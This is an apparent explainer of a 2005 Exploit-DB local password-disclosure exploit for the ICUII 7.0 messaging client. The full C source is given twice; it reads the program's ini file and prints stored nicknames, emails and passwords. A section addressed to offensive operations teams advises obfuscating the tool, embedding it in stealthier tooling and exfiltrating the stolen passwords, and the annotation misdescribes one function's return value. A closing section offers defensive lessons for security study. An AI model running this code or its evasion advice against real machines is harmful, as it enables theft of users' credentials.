ICUII 7.0 Local Password Disclosure Exploit Explained

ICUII 7.0 Local Password Disclosure Exploit Explained
What this paper is
This paper details a local exploit for ICUII version 7.0 (and potentially earlier versions). ICUII was a software application that allowed users to manage multiple instant messaging accounts from a single interface. The vulnerability described allows a local user to read sensitive information, specifically passwords, stored within the application's configuration file.
Simple technical breakdown
The exploit works by:
- Locating the ICUII configuration file: It first determines the
ProgramFilesDiron the Windows system using the Windows Registry. Then, it constructs the expected path to theicuii.inifile within the ICUII installation directory. - Searching for specific strings: The exploit then reads this
icuii.inifile. It searches for lines that start with specific keywords like "NickName=", "Location=", "Comment=", "Email=", and crucially, "StartingPW=". - Extracting the data: Once a matching line is found, it extracts the value associated with that keyword, which is typically the password or other user-defined information.
The core of the exploit lies in two custom C functions: adresal and oku.
Complete code and payload walkthrough
The provided C code is a standalone program designed to be compiled and run on a Windows system. It doesn't contain traditional shellcode in the sense of arbitrary code execution, but rather it extracts sensitive data.
/*****************************************************************
ICUII 7.0 Local Password Disclosure Exploit by Kozan
Application: ICUII 7.0 (and probably prior versions)
Procuder: Cybration - www.icuii.com
Vulnerable Description: ICUII 7.0 discloses passwords to local users.
Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <windows.h>
HKEY hKey; // Handle for Windows Registry key
#define BUFSIZE 100 // Buffer size for storing ProgramFilesDir
char prgfiles[BUFSIZE]; // Character array to store the Program Files directory path
DWORD dwBufLen=BUFSIZE; // Variable to store the size of the buffer for RegQueryValueEx
LONG lRet; // Variable to store the return value of Windows Registry functions
// Function to find the offset of a string within a file
int adresal(char *FilePath,char *Str)
{
char kr; // Character read from file
int Sayac=0; // Counter for bytes read from file
int Offset=-1; // Offset of the string, initialized to -1 (not found)
FILE *di; // File pointer
di=fopen(FilePath,"rb"); // Open the file in binary read mode
if( di == NULL ) // If file opening fails
{
fclose(di); // Close the file (though it's NULL, good practice)
return -1; // Return -1 indicating failure
}
while(!feof(di)) // Loop until the end of the file is reached
{
Sayac++; // Increment byte counter
for(int i=0;i<strlen(Str);i++) // Loop through each character of the search string
{
kr=getc(di); // Read a character from the file
if(kr != Str[i]) // If the character read does not match the current character of the search string
{
if( i>0 ) // If we had matched some characters before this mismatch
{
// Seek back to the position after the start of the potential match,
// to re-evaluate the next character from the file.
// This is a naive backtracking approach.
fseek(di,Sayac+1,SEEK_SET);
}
break; // Break the inner loop (character comparison) and continue to the next character in the file
}
if( i > ( strlen(Str)-2 ) ) // If we have matched all but the last character of the search string
{
// We have found the string.
// ftell(di) gives the current position *after* reading the last matched character.
// Subtracting strlen(Str) gives the starting offset of the string.
Offset = ftell(di)-strlen(Str);
fclose(di); // Close the file
return Offset; // Return the found offset
}
}
}
fclose(di); // Close the file if the loop finishes without finding the string
return -1; // Return -1 indicating the string was not found
}
// Function to read data from a file after a specific string
char *oku(char *FilePath,char *Str)
{
FILE *di; // File pointer
char cr; // Character read from file
int i=0; // Index for the Feature buffer
char Feature[500]; // Buffer to store the extracted feature (e.g., password)
// Find the starting offset of the search string in the file
int Offset = adresal(FilePath,Str);
if( Offset == -1 ) // If the string was not found by adresal
return ""; // Return an empty string
if( (di=fopen(FilePath,"rb")) == NULL ) // Try to open the file again for reading
return ""; // Return an empty string if opening fails
// Seek to the position immediately after the found string
fseek(di,Offset+strlen(Str),SEEK_SET);
while(!feof(di)) // Loop until the end of the file
{
cr=getc(di); // Read a character
if(cr == 0x0D) // If the character is Carriage Return (CR)
break; // Stop reading, as this typically signifies the end of a line in .ini files
Feature[i] = cr; // Store the character in the Feature buffer
i++; // Increment the buffer index
}
Feature[i] = '\0'; // Null-terminate the Feature string
fclose(di); // Close the file
return Feature; // Return the extracted string
}
// Main function of the exploit
int main()
{
// Attempt to open the Windows Registry key for Windows version information
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", // Key path
0, // Reserved, must be 0
KEY_QUERY_VALUE, // Access rights: Query values
&hKey // Pointer to receive the handle of the opened key
) == ERROR_SUCCESS) // If the key was opened successfully
{
// Query the value of "ProgramFilesDir" from the opened registry key
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles, // Buffer to receive the value
&dwBufLen); // Size of the buffer
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) // If querying failed or buffer is too small
{
RegCloseKey(hKey); // Close the registry key
printf("An error occured!\n"); // Print an error message
return -1; // Exit with an error code
}
RegCloseKey(hKey); // Close the registry key
}
// Construct the full path to the icuii.ini file
strcat(prgfiles,"\\icuii\\icuii.ini");
// Check if ICUII is installed by trying to read the "NickName=" line from the ini file
if(oku(prgfiles,"NickName=")=="") // If oku returns an empty string, the line wasn't found
{
printf("ICUII is not installed on your system!\n"); // Inform the user
return -1; // Exit with an error code
}
// Print exploit information
printf("ICUII 7.0 Local Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
// Extract and print various user-configured settings from the ini file
printf("Nickname: %s\n",oku(prgfiles,"NickName="));
printf("Location: %s\n",oku(prgfiles,"Location="));
printf("Comment : %s\n",oku(prgfiles,"Comment="));
printf("E-Mail : %s\n",oku(prgfiles,"Email="));
printf("Password: %s\n",oku(prgfiles,"StartingPW=")); // This is the sensitive part
/*
This example exploit only shows main ICUII passwords.
You may also get ICQ, AIM, MSN, Yahoo! passwords which are used within ICUII
*/
return 0; // Exit successfully
}
// milw0rm.com [2005-04-28]Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>: Standard input/output functions (likeprintf,fopen,fclose,getc,fseek).#include <windows.h>: Windows API functions (likeRegOpenKeyEx,RegQueryValueEx,RegCloseKey,HKEY_LOCAL_MACHINE).HKEY hKey;: A handle to a registry key. Used to interact with the Windows Registry.#define BUFSIZE 100: Defines a constant for buffer size, used for storing the Program Files directory.char prgfiles[BUFSIZE];: A character array to store the path to the Program Files directory.DWORD dwBufLen=BUFSIZE;: A variable to hold the size of the buffer used for registry value retrieval.LONG lRet;: A variable to store the return status of Windows API calls, particularly registry operations.int adresal(char *FilePath,char *Str):- Purpose: This function searches for the first occurrence of a given string (
Str) within a specified file (FilePath). - Inputs:
FilePath(string, path to the file),Str(string, the pattern to search for). - Behavior: Opens the file in binary read mode. It reads the file character by character, attempting to match
Str. If a mismatch occurs, it usesfseekto backtrack and restart the search. If the entireStris matched, it calculates and returns the starting offset ofStrwithin the file. - Output: The byte offset (integer) where
Strstarts inFilePath, or-1ifStris not found or an error occurs.
- Purpose: This function searches for the first occurrence of a given string (
char *oku(char *FilePath,char *Str):- Purpose: This function reads data from a file after a specified string until a carriage return character (
0x0D) is encountered. - Inputs:
FilePath(string, path to the file),Str(string, the delimiter string to search for). - Behavior: It first calls
adresalto find the offset ofStr. If found, it opens the file again, seeks to the position immediately afterStr, and then reads characters one by one into a buffer (Feature) until it reads a carriage return (0x0D) or reaches the end of the file. - Output: A dynamically allocated string containing the data found after
Strand before the carriage return, or an empty string ("") ifStris not found or an error occurs.
- Purpose: This function reads data from a file after a specified string until a carriage return character (
int main():- Purpose: The main execution entry point of the program. It orchestrates the process of finding the ICUII configuration file and extracting sensitive information.
- Inputs: None directly from user, but relies on the system's registry and file system.
- Behavior:
- Opens the Windows Registry key
SOFTWARE\Microsoft\Windows\CurrentVersion. - Queries the
ProgramFilesDirvalue to get the path to the Program Files directory. - Constructs the full path to
icuii.iniby appending\icuii\icuii.inito the Program Files directory. - Calls
okuto check ificuii.iniexists and contains "NickName=". If not, it reports ICUII is not installed. - Prints exploit banner information.
- Calls
okumultiple times to retrieve and print values for "NickName=", "Location=", "Comment=", "Email=", and "StartingPW=".
- Opens the Windows Registry key
- Output: Prints the extracted information to the console, including the "Password". Returns
0on success,-1on error.
strcat(prgfiles,"\\icuii\\icuii.ini");: Appends the ICUII configuration file path to the Program Files directory.printf("Nickname: %s\n",oku(prgfiles,"NickName="));: Example of extracting and printing a specific field. Theokufunction is called with the ini file path and the string "NickName=". The result (the nickname) is then printed. This pattern is repeated for other fields.printf("Password: %s\n",oku(prgfiles,"StartingPW="));: This is the critical line that extracts and displays the user's password stored in theicuii.inifile.
Practical details for offensive operations teams
- Required Access Level: Local user access to the target Windows machine is required. This exploit does not grant elevated privileges.
- Lab Preconditions:
- A Windows machine with ICUII 7.0 (or a vulnerable prior version) installed.
- The
icuii.inifile must be present in the expected location (typicallyC:\Program Files\icuii\icuii.ini). - The
icuii.inifile must contain entries likeNickName=,Location=,Comment=,Email=, andStartingPW=. - The target system must have the necessary C runtime libraries for the compiled executable.
- Tooling Assumptions:
- A C compiler (like MinGW or Visual Studio) to compile the exploit source code into an executable.
- The compiled executable needs to be transferred to the target system.
- Execution Pitfalls:
- ICUII Not Installed: If ICUII is not installed, or installed in a non-standard location, the exploit will fail. The
strcatassumes a defaultProgramFilesDirand a standard installation path. - INI File Structure: If the
icuii.inifile is missing, corrupted, or has a different structure (e.g., theStartingPW=line is not present or is commented out), the exploit will not find the password. - File Permissions: While unlikely for a local user to not be able to read their own
Program Filesdirectory, extremely restrictive file permissions could prevent access toicuii.ini. - Antivirus/EDR: The compiled executable might be flagged by antivirus software due to its nature of reading configuration files, especially if it's a known exploit signature.
- Registry Access: While
HKEY_LOCAL_MACHINEis generally readable by all users, very hardened systems might restrict this. adresalFunction Inefficiency: Theadresalfunction's backtracking mechanism is inefficient. For very large files or long search strings, it could be slow. However,icuii.inifiles are typically small.
- ICUII Not Installed: If ICUII is not installed, or installed in a non-standard location, the exploit will fail. The
- Tradecraft Considerations:
- Stealth: The exploit itself is relatively noisy as it's a standalone executable. Running it directly might be detected. Consider obfuscation or embedding the logic within a larger, more stealthy tool if necessary.
- Data Exfiltration: The extracted passwords need to be exfiltrated. This would require a separate mechanism.
- Persistence: This exploit is not for persistence; it's a one-time data retrieval tool.
- Likely Failure Points:
- ICUII not installed or installed in a custom path.
icuii.inifile missing or malformed.- The specific keys (
NickName=,StartingPW=, etc.) not present in theicuii.inifile. - Antivirus detection of the executable.
Where this was used and when
- Context: This exploit targets a specific application (ICUII) and its configuration file. It would have been used by attackers or security researchers in environments where ICUII was deployed.
- Timeframe: The exploit was published on April 28, 2005. Therefore, its relevant usage period would be around 2005 and shortly thereafter, targeting systems running ICUII 7.0 or earlier. It's unlikely to be relevant against modern systems unless an extremely old, unpatched machine is found running this specific software.
Defensive lessons for modern teams
- Secure Configuration Management: Applications should not store sensitive information like passwords in plain text configuration files. Use secure storage mechanisms like Windows Credential Manager, encrypted configuration sections, or dedicated secrets management solutions.
- Principle of Least Privilege: Ensure applications only have the necessary permissions to access files and registry keys. While this exploit relies on local user read access, it highlights how applications can inadvertently expose data.
- Regular Patching and Updates: Keep all software, including third-party applications like ICUII, updated to the latest versions to fix known vulnerabilities.
- File Integrity Monitoring (FIM): Monitor critical configuration files for unauthorized modifications or access.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious process behavior, such as executables reading sensitive configuration files or making unusual registry queries.
- Application Hardening: Developers should be aware of common pitfalls like storing secrets in plain text. Security reviews of application code and deployment configurations are crucial.
ASCII visual (if applicable)
This exploit's flow is linear and file-based, making a complex ASCII diagram unnecessary. The core interaction is between the exploit executable, the Windows Registry, and a local file.
+---------------------+ +------------------------+
| Exploit Executable | --> | Windows Registry |
| (Coded in C) | | (HKEY_LOCAL_MACHINE\ |
+---------------------| | SOFTWARE\Microsoft\ |
| | | Windows\CurrentVersion|
| | +------------------------+
| |
| | Reads ProgramFilesDir
v |
+---------------------+
| Target File System |
| (e.g., C:\Program |
| Files\icuii\ |
| icuii.ini) |
+---------------------+
|
| Reads specific lines (e.g., "StartingPW=")
v
+---------------------+
| Sensitive Data |
| (Passwords, etc.) |
+---------------------+Source references
- Paper ID: 965
- Paper Title: ICUII 7.0 - Local Password Disclosure
- Author: Kozan
- Published: 2005-04-28
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/965
- Raw URL: https://www.exploit-db.com/raw/965
Original Exploit-DB Content (Verbatim)
/*****************************************************************
ICUII 7.0 Local Password Disclosure Exploit by Kozan
Application: ICUII 7.0 (and probably prior versions)
Procuder: Cybration - www.icuii.com
Vulnerable Description: ICUII 7.0 discloses passwords to local users.
Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <windows.h>
HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");
if( di == NULL )
{
fclose(di);
return -1;
}
while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}
char *oku(char *FilePath,char *Str)
{
FILE *di;
char cr;
int i=0;
char Feature[500];
int Offset = adresal(FilePath,Str);
if( Offset == -1 )
return "";
if( (di=fopen(FilePath,"rb")) == NULL )
return "";
fseek(di,Offset+strlen(Str),SEEK_SET);
while(!feof(di))
{
cr=getc(di);
if(cr == 0x0D)
break;
Feature[i] = cr;
i++;
}
Feature[i] = '\0';
fclose(di);
return Feature;
}
int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey
) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
printf("An error occured!\n");
return -1;
}
RegCloseKey(hKey);
}
strcat(prgfiles,"\\icuii\\icuii.ini");
if(oku(prgfiles,"NickName=")=="")
{
printf("ICUII is not installed on your system!\n");
return -1;
}
printf("ICUII 7.0 Local Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
printf("Nickname: %s\n",oku(prgfiles,"NickName="));
printf("Location: %s\n",oku(prgfiles,"Location="));
printf("Comment : %s\n",oku(prgfiles,"Comment="));
printf("E-Mail : %s\n",oku(prgfiles,"Email="));
printf("Password: %s\n",oku(prgfiles,"StartingPW="));
/*
This example exploit only shows main ICUII passwords.
You may also get ICQ, AIM, MSN, Yahoo! passwords which are used within ICUII
*/
return 0;
}
// milw0rm.com [2005-04-28]